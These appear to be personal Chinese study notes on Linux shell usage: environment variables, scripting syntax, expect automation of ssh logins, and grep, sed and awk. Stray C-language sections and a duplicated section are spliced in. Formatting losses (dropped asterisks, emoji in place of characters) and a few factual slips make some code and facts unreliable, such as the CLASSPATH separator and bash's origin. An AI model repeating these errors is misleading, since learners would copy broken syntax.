        • 添加一行变量:export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib
        • 修改后需要执行重新登录才能生效,也可以执行命令source /etc/profile来生效
      2. /etc/bashrc:对所有用户生效;为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。编辑方法如上
      3. ~/.bash_profile:仅会对当前用户有效;
        • 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
        • 编辑yumh用户目录(/home/yumh)下的.bash_profile:vim /home/yumh/.bash.profile
        • 添加如下内容:export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib
        • 修改后需要执行重新登录才能生效,也可以执行命令source /etc/profile来生效
      4. ~/.bashrc:仅会对当前用户有效;该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
    • 临时:export PATH=$PATH:/XXX ,变量在关闭shell时失效。
    • 永久生效:
      修改/etc/profile /etc/export ~/.bashrc ~/.bash_profile
      source /etc/profile
  30. 在几个cmds中使用管道 using pipe in several cmds
    用管道

  31. 使用ssh进行远程文件传输

    • 上传本地文件到服务器
      scp /pa vth/filename username@servername:/path
  32. 使用man获取cmd帮助
    man -a [cmd_name] 可以查看查询出来的所有结果,如果默认不使用"-a",则默认只显示第一项,,,
    man [n] [cmd_name] 显示指定section章节的手册
    man -aw [cmd_name] 显示所有查询结果的文件对应的地址,这里可以看出哪个章节下面有相关的手册

  33. 文件压缩和解压缩
    tar -cvf xxx.tar * 打包
    gzip xxx.tar 压缩
    gzip -d xxx.tar.gz 解压
    tar -xvf xxx.tar 解包

  34. 软链接和硬链接

    • ln -s 源文件 链接文件 表示:软连接{快捷方式}
    • ln 源文件 链接文件 表示:硬链接,,,注意硬链接数量为1时,rm才会真正删除数据

shell:Linux内核的一个外层保护工具,并负责完成用户与内核之间的交互

1. Shell是一个命令行解释器,将用户命令解析为操作系统所能理解的指令,实现用户与操作系统的交互

  • Shell 能做什么?
    1. 自动化批量系统初始化程序 (update,软件安装,时区设置,安全策略...)
    2. 自动化批量软件部署程序 (LAMP,LNMP,Tomcat,LVS,Nginx)
    3. 应用管理程序 (KVM,集群管理扩容,MySQL,DELLR720批量RAID)
    4. 日志分析处理程序(PV, UV, 200代码, !200代码, top 100, grep/awk)
    5. 自动化备份恢复程序(MySQL完全备份/增量 + Crond)
    6. 自动化管理程序(批量远程修改密码,软件升级,配置更新)
    7. 自动化信息采集及监控程序(收集系统/应用状态信息,CPU,Mem,Disk,Net,TCP Status,Apache,MySQL)
    8. 配合Zabbix信息采集(收集系统/应用状态信息,CPU,Mem,Disk,Net,TCP Status,Apache,MySQL)
    9. 自动化扩容(增加云主机——>业务上线)
      zabbix监控CPU 80%+|-50% Python API AWS/EC2(增加/删除云主机) + Shell Script(业务上线)
    10. 俄罗斯方块,打印三角形,打印圣诞树,打印五角星,运行小火车,坦克大战,排序算法实现
    11. Shell可以做任何事(一切取决于业务需求)

2. shell 种类

Bourne Shell(简称sh):
Bourne Shell由AT&T贝尔实验室的S.R.Bourne开发,也因开发者的姓名而得名。
它是Unix的第一个Shell程序,早已成为工业标准。

C Shell(简称csh):
C Shell由加利福尼亚大学伯克利分校开发。最初开发的目的是改进Bourne Shell的一些缺点,
并使Shell脚本的编程风格类似于C语言,因而受到广大C程序员的拥护。不过C Shell的健壮性不如Bourne Shell
Korn Shell(简称ksh):
Korn Shell由David Korn开发,解决了Bourne Shell的用户交互问题,并克服了C Shell的脚本编程怪癖的缺点。
缺点:许可证声明
Bourne Again Shell(简称bash):
Bourne Again Shell由AT&T贝尔实验室开发,是Bourne Shell的增强版。

3. 通配符

 *   任意长度的字符

? 匹配任意的一个字符
[...] 匹配指定的字符
[..-..] 匹配某一范围的字符
[^ ... ] 除了指定字符外的都匹配

4. shell script (脚本)

  • 执行脚本:
    • ./01.sh <需要执行权限> 在子shell中执行
    • bash 01.sh 不需要执行权限 在子shell中执行
    • . 01.sh 不需要执行权限 在当前shell中执行
    • source 01.sh 不需要执行权限 在当前shell中执行
      -提示:通常修改系统配置文件中如 /etc/profile 的PATH等变量后,使之在当前shell中生效
  • 调试脚本的其他方法:
    • sh -n 02.sh 仅调试脚本中的语法错误。
    • sh -vx 02.sh 以调试的方式执行,查询整个执行过程
    • test 检测文件相关属性(类型,权限,比较新旧,数值,字符串) test -e 123.sh
      -e文件是否存在 -f为文件 -d为目录
      -r 是否可读 -w -x -s是否为非空白文件 -z 判断字符串是否为0 test str1 = str2 相等为true
      ! 反向状态 -a 两条条件都成立 -o 任意成立 test -r 123.sh -a -x 123.sh
      [ "$HOME" == "$MALL" ] 判断符号

5. shell 脚本编程

  • Shell脚本语言是解释型语言
  • Shell脚本的本质:Shell命令的有序集合。
    步骤: 1. 编辑
    2. 赋予权限 chmod
    3. 执行
    1. 指令的执行时从上到下,从左到右
    2. 指令、选项与参数之间的多个空白都会被忽略掉
    3. 空白行也会被忽略掉,并且tab同样视为空格
    4. 如果读取到一个enter符号,就会尝试改行命令。可以用’\’来转义一个enter。
    5. 后面是批注,不被执行

    6. 直接当做命令下达:该档案必须有rx权限,然后必须可以找到该命令,即要么通过绝对路径或相对路径,或者利用环境变量PATH
    7. 以bash程序来执行:通过bash shell.sh或许sh shell.sh来执行(shell.sh是我们写好的脚本)这时相当于一个子程序中执行,所以在shell.sh中自定义的变量不会保留到父程序当中。除非在脚本中加入export,把自定义变量加入到环境变量
    8. 用source命令来执行:这时就是在父程序中执行脚本

6. 变量 :set 查看所有变量

  1. 自定义变量
    A=10
    取出变量的值: $A, ls, $(pwd)
    区别:`` 不能取自定义变量的值,只能取shell命令的值
    数组变量 var【】=“sfsadas”

  2. 位置变量
    位置变量即 命令行参数
    $0 脚本名 , $1 -- $9 , ${10} ...
    $0 与键入的命令行一样,包含脚本文件名
    $1,$2,……$9 分别包含第一个到第九个命令行参数
    $# 包含命令行参数的个数
    $@ 包含所有命令行参数:“$1,$2,……$9”
    $? 包含前一个命令的退出状态
    $* 包含所有命令行参数:“$1,$2,……$9”
    $$ 包含正在执行进程的ID号

  3. 环境变量 env 显示环境变量
    HOME , PATH , 系统在某一个文件中定义的变量,全局都能访问
    PS1 提示符的设置
    export 自定义变量转环境变量,变量在关闭shell时失效。
    按变量的生存周期来划分,Linux变量可分为两类,它们的修改方法如下:

    • 永久的:需要修改配置文件,变量永久生效。
    • 常见的配置文件包括:
      1. /etc/profile:对所有用户生效;此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行;并从/etc/profile.d目录的配置文件中搜集shell的设置
        • 添加一行变量:export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib
        • 修改后需要执行重新登录才能生效,也可以执行命令source /etc/profile来生效
      2. /etc/bashrc:对所有用户生效;为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。编辑方法如上
      3. ~/.bash_profile:仅会对当前用户有效;
        • 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
        • 编辑yumh用户目录(/home/yumh)下的.bash_profile:vim /home/yumh/.bash.profile
        • 添加如下内容:export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib
        • 修改后需要执行重新登录才能生效,也可以执行命令source /etc/profile来生效
      4. ~/.bashrc:仅会对当前用户有效;该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
  4. 预定义变量

  5. 声明变量类型 默认为字符串 declare 【-aixr】 variable
    declare/typeset 将所有变量与内容都调用出来
    -a 变量定义为数组类型
    -i 整数类型 自动将变量内容换算成整数
    -x 将变量编程环境变量
    +x 将环境变量变成非环境变量
    -r 将变量变成readonly类型 不可更改或重设 只有等注销后才能恢复
    -p 列出变量类型

  6. 变量内容删除与替换
    删除 echo ${path#/kerberos/bin:} 删除path变量中从前面数最短的/kerberos/bin:字符串
    ${变量##关键字} 删除从头开始符合关键字最长的数据
    %% 从后向前数 最长的
    % 最短的

  7. 检测变量是非被设置(判断是空字符还是未设置)
    a=${a-b} 变量a未被定义则被定义且设置成b 被定义了则被无视
    a=${a:-b} 加个: 则 空和未设置都被置成b

7. 语法 类似C语言 分支语句有差别

  1. read 从标准输入读入一行, 并赋值给后面的变量。
    -p 输入提示符 -t 加等待秒数

  2. expr 数学运算, + , - ,* , / , %
    expr 1 + 3 * 2 - 3 + 10 / 2 + 10 % 3
    A B C D ==> 2, 3, 4, 5
    2*3 - 4%2 + 5/2
    运算符之间有空格, 赋值不能有空格

  3. test 测试
    文件,整数,字符串
    字符串测试:
    s1 = s2 测试两个字符串的内容是否完全一样
    s1 != s2 测试两个字符串的内容是否有差异
    -z s1 测试s1 字符串的长度是否为0
    -n s1 测试s1 字符串的长度是否不为0
    整数测试:
    a -eq b 测试a 与b 是否相等
    a -ne b 测试a 与b 是否不相等
    a -gt b 测试a 是否大于b
    a -ge b 测试a 是否大于等于b
    a -lt b 测试a 是否小于b
    a -le b 测试a 是否小于等于b
    文件的测试:
    -d name 测试name 是否为一个目录
    -f name 测试name 是否为普通文件
    -L name 测试name 是否为符号链接
    -r name 测试name 文件是否存在且为可读
    -w name 测试name 文件是否存在且为可写
    -x name 测试name 文件是否存在且为可执行
    -s name 测试name 文件是否存在且其长度不为0
    f1 -nt f2 测试文件f1 是否比文件f2 更新
    f1 -ot f2 测试文件f1 是否比文件f2 更旧
    猜想:
    -b filename 是否为块设备文件
    -c filename 字符设备文件
    -S filename 测试是否为socket文件
    -p filename 测试是否为管道文件

  4. if语句 if…then…fi
    语法结构:
    if 表达式
    then
    命令表
    fi

    if [ 表达式 ]
    then
    命令表
    elif [ 表达式 ]
    then
    命令表
    else
    命令表
    fi

  5. 练习

    1. 从终端获取学生的成绩 read
    2. 判断成绩是否合法,
      -a 逻辑与 , -o 逻辑或
    3. 针对不同的成绩打印等级信息
      100 - 90 A
      90 - 80 B
      80 - 70 C
      70 - 60 D
      < 60 E
  6. case分支语句 case…esac
    多路分支语句case用于多重条件测试, 语法结构清晰自然.
    其语法为:
    case 字符串变量 in
    模式1)
    命令表1
    ;;
    模式2)
    命令表2
    ;;
    模式n)
    命令表n
    ;;
    esac

  7. for循环
    for 变量名 in 单词表
    do
    命令表
    done
    变量依次取单词表中的各个单词, 每取一次单词, 就执行一次循环体中的命令.
    循环次数由单词表中的单词数确定. 命令表中的命令可以是一条, 也可以是由分号或换行符分开的多条。
    如果单词表是命令行上的所有位置参数时, 可以在for语句中省略 “in 单词表” 部分。

  8. while循环
    while 命令或表达式
    do
    命令表
    done

  9. 函数
    在shell程序中, 常常把完成固定功能、且多次使用的一组命令(语句)封装在一个函数里,
    每当要使用该功能时只需调用该函数名即可。先定义,在使用。
    函数的两种形式:

    • 重点:传参 $1,$2
      局部变量 local
      返回值 return 即$?
    1. 一、定义函数
      1. 方法一:
        函数名() {
        函数要实现的功能代码
        }
      2. 方法二:
        function 函数名 {
        函数要实现的功能代码
        }
    2. 函数的调用:函数名 函数名 参数1 参数2
      value_name=function_name arg1 arg2 …
      将函数中所有的输出,赋值为value_name
      function_name arg1 arg2 …
      echo $? /// 接收函数的返回值
      shell脚本中的变量默认为全局变量,局部变量需要加local修饰
  10. 指针
    在计算机内部存储器(简称内存)中,每一个字节单元,都有一编号,称为地址。
    在C语言中,内存单元的地址称为指针,专门用来存放地址的变量,称为指针变量(pointer variable)。
    在不影响理解的情况中,有时对地址、指针和指针变量不区分,通称指针。

    • 取出指针的值
      & 取出变量的地址
      当* 与& 相遇,相互抵消。
  11. 指针与二维数组的关系
    int a[3][4] = {......};
    二维数组的数组名,代表的是首行的行地址,它与数组首元素的地址的数值上相等。
    但是代表的含义截然不一样。
    a // 首行地址
    a+1 // 第2行的地址, 移动了1行
    a // 对地址进行降级, 将行指针变为列指针
    a + 1 // 再第1行上,移动了一个元素
    int *p;
    p = a;
    a[i][j] <==>
    (a[i] + j) <==>
    ((a+i) + j) <==>((p+i) + j) <==>(p[i] + j) <==> p[i][j]

  12. 内存管理
    <存储类别> <数据类型> <变量表>;
    auto int a;
    register int a; // 表示a的空间在寄存器上开辟的。 不能&a,速度快。数量少
    static int a; // static修饰的变量存储在静态区,只初始化一次,默认初始化为0,生存周期持续进程结束。  // static 限制作用域
    static int add(int a, int b); // 表示函数只能在当前文件中调用。
    extern int a; // 没有开辟空间,仅仅是申明,a在其他文件中被定义过。
    函数中申请的变量空间,如果不加特殊修饰,默认在栈空间开辟的。栈空间在函数调用时申请,结束时释放。
    time ./a.out ///测试进程执行所需要的时间。

  13. 内存区域

    1. 全局变量区
    2. 静态区 // 默认初始化为0,初始化一次,生存周期整个进程,作用域全局有效
    3. 栈区 // 栈区申请的空间没有初始化,默认乱码,随着函数的创建而开辟,结束而消毁
    4. 堆区 // 空间较大,手动申请,手动释放,防止野指针问题
      使用malloc 函数来开辟空间:
      void malloc(size_t size);
      void free(void
      ptr); 释放
  14. 条件编译

    define DEBUG 1

    define DEBUG 0

    if DEBUG

    ...
    

    endif

    ifdef < macro>

    ……

    else

    ……

    endif

gcc debug.c -o debug -D...
15. typedef 取别名
typedef int INT;
INT a <==> int a;
struct node {
...
} linknode; // linknode 是一个变量名,开辟了空间
struct node linknode;
*******************************************************************
typedef struct node {
...
}linknode, linklist; // 此时没有开辟空间
typedef struct node linknode;
typedef struct node
linklist;
linknode T; // T 变量, 开辟了空间
linklist p ; // p 代表的是一个结构体指针
16. Makefile
Make工程管理器也就是个“自动编译管理器”。
“自动”是指它能构根据文件时间戳自动发现更新过的文件而减少编译的工作量。
Make将只编译改动的代码文件,而不用完全编译。
Makefile格式
target : dependency_files
< TAB> command
变量:
递归展开方式VAR=var // 递归赋值, 它可以向后引用变量
简单方式 VAR :=var // 立即赋值
条件赋值 FOO ?= var // 如果之前 FOO 没有值,那么赋值给它,如果有值了,就不赋值了。
追加赋值 FOO += var // 你可以通过+=为已定义的变量添加新的值
变量使用$(VAR)
用”$”则用”$$”来表示
自动变量
$* 不包含扩展名的目标文件名称
$+ 所有的依赖文件,以空格分开,并以出现的先后为序,可能包含重复的依赖文件
$< 第一个依赖文件的名称
$? 所有时间戳比目标文件晚的的依赖文件,并以空格分开
$@ 目标文件的完整名称
$^ 所有不重复的目标依赖文件,以空格分开
$% 如果目标是归档成员,则该变量表示目标的归档成员名称

  • 数组:
  • 变量切片有个索引的概念。一个索引(整数)对应一个字符。
    普通数组:中的索引对应一个字符串。
    关联数组:数组中的索引可以使用字符串。
  • 定义数组:
    1. 普通数组
      • 方法一: 一次赋一个值
        数组名[下标]=变量值

        array1[0]=pear

        array1[1]=apple

        array1[2]=orange

        array1[3]=peach

        查看数组
        [root@localhost ~]# declare -a | grep array1
        declare -a array1='([0]="pear" [1]="apache" [2]="orange" [3]="peach")'
        查看数组
        [root@localhost ~]# echo ${array1[@]}
        pear apache orange peach
      • 方法二: 一次赋多个值

      array2=(tom jack alice)

      array3=(cat /etc/passwd) 希望是将该文件中的每一个行作为一个元数赋值给数组array3

      array4=(ls /var/ftp/Shell/for*)

      array5=(tom jack alice "bash shell")

      colors=($red $blue $green $recolor)

      array6=(1 2 3 4 5 6 7 "linux shell" [20]=saltstack)

      • 访问数组元数:

        echo ${array1[0]} 访问数组中的第一个元数

        echo ${array1[@]} 访问数组中所有元数 等同于 echo $

        echo ${#array1[@]} 统计数组元素的个数

        echo ${!array2[@]} 获取数组元素的索引

        echo ${array1[@]:1} 从数组下标1开始

        echo ${array1[@]:1:2} 从数组下标1开始,访问两个元素

    2. 关联数组
      • 定义关联数组(先声明关联数组):
        1. 方法一: 一次赋一个值
          数组名[索引]=变量值
          declare -A ass_array1
          ass_array1[index1]=pear
          ass_array1[index2]=apple
          ass_array1[index3]=orange
          ass_array1[index4]=peach
          查看:echo $
          • 修改某个值
            [root@localhost-111 ~]# unset lol
            [root@localhost-111 ~]# declare -A lol
            [root@localhost-111 ~]# lol[down1]=aaa
            [root@localhost-111 ~]# lol[down2]=bbb
            [root@localhost-111 ~]# lol[down3]=ccc
            [root@localhost-111 ~]# echo ${lol[@]}
            aaa bbb ccc
            [root@localhost-111 ~]# lol[down2]=ddd
            [root@localhost-111 ~]# echo ${lol[@]}
            aaa ddd ccc
        2. 方法二: 一次赋多个值
          • declare -A ass_array2
            ass_array2=([index1]=tom [index2]=jack [index3]=alice [index4]='bash shell')
          • declare -A ass_array1='([index4]="peach" [index1]="pear" [index2]="apple" [index3]="orange" )'
      • 访问数组元素:
        echo ${ass_array2[index2]} 访问数组中的第二个元数
        echo ${ass_array2[@]} 访问数组中所有元数 等同于 echo ${array1[*]}
        echo ${#ass_array2[@]} 获得数组元数的个数
        echo ${!ass_array2[@]} 获得数组元数的索引
  • 影响Shell程序的内置命令
    true
    false
    • shift 使位置参数向左移动,默认移动1位,可以使用shift 2
      • !/bin/bash

          while [ $# -ne 0 ]
          do
                  let sum+=$1
                  shift
          done
          echo "sum : $sum"
        
      • 测试 bash sum.sh 1 2
        sum : 3
        [root@localhost ~]# bash sum.sh 1 2 3
        sum : 6
      • 若无shift 根本停不下来。因为循环为真。
        exit 退出整个程序
        break 结束当前循环,或跳出本层循环
        continue 忽略本次循环剩余的代码,直接进行下一次循环
  • 默认echo输出换行符,使用-n不输出

8. 符号总结

```sh
    () 子shell中执行:  (cd /home;ls)
    (()) 比较数值,运算 C语言: ((1<2));echo $?
    $() 命令替换,或者反撇``: touch file$(date)
    $(()) 整数运算:   echo $((1+1))

    {}集合:   touch file{1..3}
    ${}字符串的提取和替换。: echo ${aaa-111}

    [] 条件测试:   [ -f file1.txt ]; echo $?
    [[]] 条件测试,支持正则 : [[ 12 =~ [0-9]+$  ]] ;echo $?
    $[] 整数运算:   echo $[1+1]
```

9.expect

  • 我们通过Shell可以实现简单的控制流功能,如:循环、判断等。但是对于需要交互的场合则必须通过人工来干预,有时候我们可能会需要实现和交互程序如telnet服务器等进行交互的功能。而Expect就使用来实现这种功能的工具。
  • Expect是一个免费的编程工具语言,用来实现自动和交互式任务进行通信,而无需人的干预。Expect的作者Don Libes在1990年开始编写Expect时对Expect做有如下定义:Expect是一个用来实现自动交互功能的软件套件 (Expect [is a] software suite for automating interactive tools)。使用它系统管理员 的可以创建脚本用来实现对命令或程序提供输入,而这些命令和程序是期望从终端(terminal)得到输入,一般来说这些输入都需要手工输入进行的。 Expect则可以根据程序的提示模拟标准输入提供给程序需要的输入来实现交互程序执行。甚至可以实现实现简单的BBS聊天机器人。😃
  • Expect是不断发展的,随着时间的流逝,其功能越来越强大,已经成为系统管理员的的一个强大助手。Expect需要Tcl编程语言的支持,要在系统上运行Expect必须首先安装Tcl。
  1. Expect工作原理:
    • 从最简单的层次来说,Expect的工作方式象一个通用化脚本工具。用来实现计算机之间需要建立连接时进行特定的登录会话的自动化
    • 脚本由一系列expect-send对组成:expect等待输出中输出特定的字符,通常是一个提示符,然后发送特定的响应。
  2. 安装 yum install -y expect tcl tclx tcl-devel
  3. 四个命令
    • Expect中最关键的四个命令是send,expect,spawn,interact。
    • send:用于向进程发送字符串 expect:从进程接收字符串 spawn:启动新的进程 interact:允许用户交互
    1. send命令:接收一个字符串参数,并将该参数发送到进程
      expect1.1> send "hello world\n"
    2. expect命令
      • expect命令和send命令正好相反,expect通常是用来等待一个进程的反馈。expect可以接收一个字符串参数,也可以接收正则表达式参数。和上文的send命令结合,现在我们可以看一个最简单的交互式的例子:
        expect "hi\n"
        send "hello there!\n"
      • 这两行代码的意思是:从标准输入中等到hi和换行键后,向标准输出输出hello there。
      • $expect_out(buffer)存储了所有对expect的输入,<$expect_out(0,string)>存储了匹配到expect参数的输入。
        • 比如如下程序:
          expect "hi\n"
          send "you typed <$expect_out(buffer)>"
          send "but I only expected <$expect_out(0,string)>"
        • 当在标准输入中输入
          test
          hi
        • 是,运行结果如下
          you typed: test
          hi
          I only expect: hi
      • (2)模式-动作: expect最常用的语法是来自tcl语言的模式-动作。这种语法极其灵活,下面我们就各种语法分别说明。
        • 单一分支模式语法:
          expect "hi" {send "You said hi"}
          匹配到hi后,会输出"you said hi"
        • 多分支模式语法:
          expect "hi" { send "You said hi\n" }
          "hello" { send "Hello yourself\n" }
          "bye"
        • 匹配到hi,hello,bye任意一个字符串时,执行相应的输出。等同于如下写法:
          expect { "hi" { send "You said hi\n"}
          "hello" { send "Hello yourself\n"}
          "bye" { send "That was unexpected\n"} }
    3. spawn命令
      上文的所有demo都是和标准输入输出进行交互,但是我们跟希望他可以和某一个进程进行交互。spawm命令就是用来启动新的进程的。spawn后的send和expect命令都是和spawn打开的进程进行交互的。结合上文的send和expect命令我们可以看一下更复杂的程序段了。
      set timeout -1
      spawn ftp ftp.test.com //打开新的进程,该进程用户连接远程ftp服务器
      expect "Name" //进程返回Name时
      send "user\r" //向进程输入
      anonymous\r expect "Password:" //进程返回Password:时
      send "123456\r" //向进程输入don@libes.com\r
      expect "ftp> " //进程返回ftp>时
      send "binary\r" //向进程输入binary\r
      expect "ftp> " //进程返回ftp>时
      send "get test.tar.gz\r" //向进程输入get test.tar.gz\r
      这段代码的作用是登录到ftp服务器ftp ftp.uu.net上,并以二进制的方式下载服务器上的文件test.tar.gz。程序中有详细的注释。
    4. interact
      • 到现在为止,我们已经可以结合spawn、expect、send自动化的完成很多任务了。但是,如何让人在适当的时候干预这个过程了。比如下载完ftp文件时,仍然可以停留在ftp命令行状态,以便手动的执行后续命令。interact可以达到这些目的。下面的demo在自动登录ftp后,允许用户交互。
        spawn ftp ftp.test.com
        expect "Name"
        send "user\r"
        expect "Password:"
        send "123456\r"
        interact
    • 下面一段脚本实现了从机器A登录到机器B,然后执行机器B上的pwd命令,并停留在B机器上,等待用户交互。具体含义请参考上文。
      #!/home/tools/bin/64/expect -f
      set timeout -1
      spawn ssh $BUser@$BHost
      expect "password:" { send "$password\r" }
      expect "$
      " { send "pwd\r" } interact
  4. 通过expect解决ssh交互问题
    1. 通过expect编写脚本

      !/usr/bin/expect

      spawn ssh root@192.168.0.111
      expect {
      "yes/no" { send "yes\r";exp_continue }
      "password:" { send "666666\r" };
      }
      interact
    2. 登录验证免交互
      • spawn expect 内部命令,启动一个shell程序。
      • expect 期望哪些内容
      • yes/no 就send发送 yes ,\r 表示回车
      • password 就send发送 centos
      • exp_continue,跳过循环,就继续下一条语句。

10.正则表达式

  • 正则表达式(regular expression, RE)是一种字符模式,用于在查找过程中匹配指定的字符。在大多数程序里,正则表达式都被置于两个正斜杠之间;例如/l[oO]ve/就是由正斜杠界定的正则表达式,它将匹配被查找的行中任何位置出现的相同模式。在正则表达式中,元字符是最重要的概念。
  • 工具: 被vim、sed、awk、grep调用
  • 场景: mysql、oracle、php、python ,Apache,Nginx... 需要正则
  • //?在shell中表示一个字符,shell不区分大小写
    • [[:lower:]]* 表示小写
    • [[:upper:]]* 表示大写
    • [[:digit:]]* 表示数字
  • 元字符:是这样一类字符,它们表达的是不同于字面本身的含义
    • 行首定位符:^
    • 行尾定位符:$
    • 匹配任意单个字符:.
    • 匹配前导符0到多次:*
    • 任意多个字符:.*
    • 匹配指定范围内的一个字符:[lL]ove
    • 匹配指定范围内的一个字符,连续的范围:[a-z]ove
    • 匹配不在指定组内的字符:[^a-z0-9]ove //////取反
    • 用来转义元字符 ('' "" ),脱意符: \
    • 词首定位符:<
      [root@localhost ~]# grep "love" 1.txt
      love
      iloveyou
      [root@localhost ~]# grep "<love" 1.txt
      love
    • 词尾定位符:>
    • 匹配稍后使用的字符的标签:(..)
    • 字符x重复出现m次:x{m}
      [root@localhost ~]# grep o 1.txt
      love
      loove
      looove
      [root@localhost ~]# grep "o{3}" 1.txt
      looove
    • 字符x重复出现m次以上:x
    • 字符x重复出现m到n次:x
    • 扩展元字符集 ?, +, |, ( )
      • 匹配1~n个前导字符:+
        cat 1.txt lve love loove
        egrep lo+ve 1.txt love loove
      • 匹配0~1个前导字符:?
      • 匹配a或b: a|b
      • 组字符:()
        egrep "loveable|rs" 1.txt rs loveable lovers
        egrep "love(able|rs)" 1.txt loveable lovers

grep与egrep:过滤,查找文档中的内容

  • fgrep:不支持正则
  • egrep扩展支持正则 :grep -E = egrep 进行使用
    \w 所有字母与数字,称为字符[a-zA-Z0-9] l[a-zA-Z0-9] ve === 'l\wve'
    \W 所有字母与数字之外的字符,称为非字符 'love[^a-zA-Z0-9]+' === 'love\W+'
    \b 词边界 '<love>' === '\blove\b'
  • 返回值
    • grep 'root' /etc/passwd
      root❌0:0:root:/root:/bin/bash
      operator❌11:0:operator:/root:/sbin/nologin
      echo $? :查看返回值
      0 :是找到了:表示成功;
    • grep 'root1' /etc/passwd #用户root1并不存在
      echo $?
      1 :没有:失败表示在所提供的文件无法找到匹配的pattern
    • grep 'root' /etc/passwd1 #这里的/etc/passwd1文件并不存在
      grep: /etc/passwd1: No such file or directory
      echo $?
      2 :找到地儿不对
  • 参数
    • grep -q 静默
    • grep -v 去反
    • grep -R 可以查目录下面的文件
    • grep -o 只找到这个关键字就可以
    • grep -B2前两行
    • grep -A2后两行
    • grep -C2上下两行
    • egrep -l 只要文件名
    • egrep -n 带行号

sed:Stream EDitor:流编辑

  • sed 是一种在线的、非交互式的编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;
  • 格式
    1. sed 选项 命令 文件 :sed [options] 'command' file(s)
    2. sed 选项 –f 脚本 文件 :sed [options] -f scriptfile file(s)
  • 返回值:都是0,对错不管。只有当命令存在语法错误时,sed的退出状态才是非0
  • sed和正则表达式
    • 与grep一样,sed在文件中查找模式时也可以使用正则表达式(RE)和各种元字符。正则表达式是括在斜杠间的模式,用于查找和替换,以下是sed支持的元字符。
    • 使用基本元字符集 ^, $, ., *, [], [^], < >,(),{}
    • 使用扩展元字符集 ?, +, |, ( ) 的方式:
      • + 转义
      • sed -r 加-r
  • 参数
    • 删除命令: d
    • 替换命令: s
    • 读文件命令:r
      • 最后一行,读取新文件1.txt: sed -r '$r 1.txt' passwd
        root❌0:0:root:/root:/bin/bash1
        bin❌1:1:bin:/bin:/sbin/nologin2
        111111111
        2222222
      • 正则搜寻root,在root后面读取新文件:sed -r '/root/r 1.txt' passwd
      • VI 中也有类似命令 :😒 r a.txt
    • 写文件命令:w(另存为)
      • 把1,3行另存为123.txt:sed -r '1,3w 123.txt' passwd
        1 root❌0:0:root:/root:/bin/bash1
        2 bin❌1:1:bin:/bin:/sbin/nologin2
        3 daemon❌2:2:daemon:/sbin:/sbin/nologin3
        4 adm❌3:4:adm:/var/adm:/sbin/nologin4
        cat 123.txt
        1 root❌0:0:root:/root:/bin/bash1
        2 bin❌1:1:bin:/bin:/sbin/nologin2
        3 daemon❌2:2:daemon:/sbin:/sbin/nologin3
    • 追加命令: a(之后)
      • 每行后面,都加上123行: sed -r 'a123' passwd
      • 2行后面,加上123行:sed -r '2a123' passwd
    • 插入命令: i(之前)
      • 在第二行插入新行aaaaa: sed -r '2iaaaa' passwd
    • 替换整行命令: c :
      • 把第二行替换成aaaa: sed -r '2caaaa' passwd
    • 获取下一行命令:n :n下一行的意思。
      • 找root行,然后下一行,删除:sed -r '/root/{n;d}' passwd
      • {命令组合}:找到root行,下一行查找替换: sed -r '/root/{n;s/bin/ding/g}' passwd
  • 暂存和取用命令:h覆盖暂存空间 H追加暂存空间 g覆盖行 G追加行
    • G是从暂存空间,追加到模式空间。: sed -r 'G' passwd
    • 第一行覆盖到暂存空间;将暂存空间的内容追加到最后一行:sed -r '1h;$G' passwd
    • 第一行进入暂存空间,第一行在模式空间中删除,将暂存空间最佳到最后一行。 就像移动。 sed -r '1{h;d};$G' passwd
      第四行进入暂存空间;将模式空间第五行和暂存空间互换,将暂存空间的内容追加到第六行。1-2-3-4-4-6-5sed -r '4h;5x;6G' passwd
  • 实例
    • 删除配置文件中#号注释行:sed -r '/^#/d' /etc/samba/smb.conf
    • 删除以0个和多个空,或者tab,以及#号开始的行: sed -r '/[1]*#/d' space.txt
    • 删除配置文件中//号注释行: sed -r '\Y[2]*//Yd' space.txt :由于分隔符也是/,所以使用自定义分隔符\Y。
    • 在文件最后一行追加:sed -ri '$a\chroot_local_user=YES' /etc/vsftpd/vsftpd.conf

awk:是一种编程语言,用于在linux/unix下对文本和数据进行处理

  • awk分别代表其作者姓氏的第一个字母。因为它的作者是三个人,分别是Alfred Aho、Peter Weinberger、 Kernighan。
  • 数据可以来自标准输入、一个或多个文件,或其它命令的输出。 它支持用户自定义函数和动态正则表达式等先进功能,
  • awk的处理文本和数据的方式是这样的,
    1. 它逐行扫描文件,从第一行到最后一行,
    2. 寻找匹配的特定模式的行,并在这些行上进行你想要的操作。
    3. 如果没有指定处理动作,则把匹配的行显示到标准输出(屏幕),
  • 工作原理:awk -F: '{print $1,$3}' /etc/passwd
    1. awk使用一行作为输入,并将这一行赋给内部变量$0,每一行也可称为一个记录,以换行符结束
    2. 然后,行被:(默认为空格或制表符)分解成字段(或域),每个字段存储在已编号的变量中,从$1开始,
      最多达100个字段
    3. awk输出之后,将从文件中获取另一行,并将其存储在$0中,覆盖原来的内容,然后将新的字符串分隔
      成字段并进行处理。该过程将持续到所有行处理完毕
  • 语法:awk [options] 'commands' filenames (推荐)
    • [options]例如:-F 定义输入字段分隔符,默认的分隔符是空格或制表符(tab)

    • 'commands':BEGIN{} {} END{}

      • BEGIN{} :begin发生在行处理前(注意大写)
      • {}:行处理时,读一行执行一次
      • END{}:行处理后
        • Eg:awk 'BEGIN{print 1/2}{print "-----";print $0}END{print "HOHO"}' /etc/hosts
          0.5
          -----
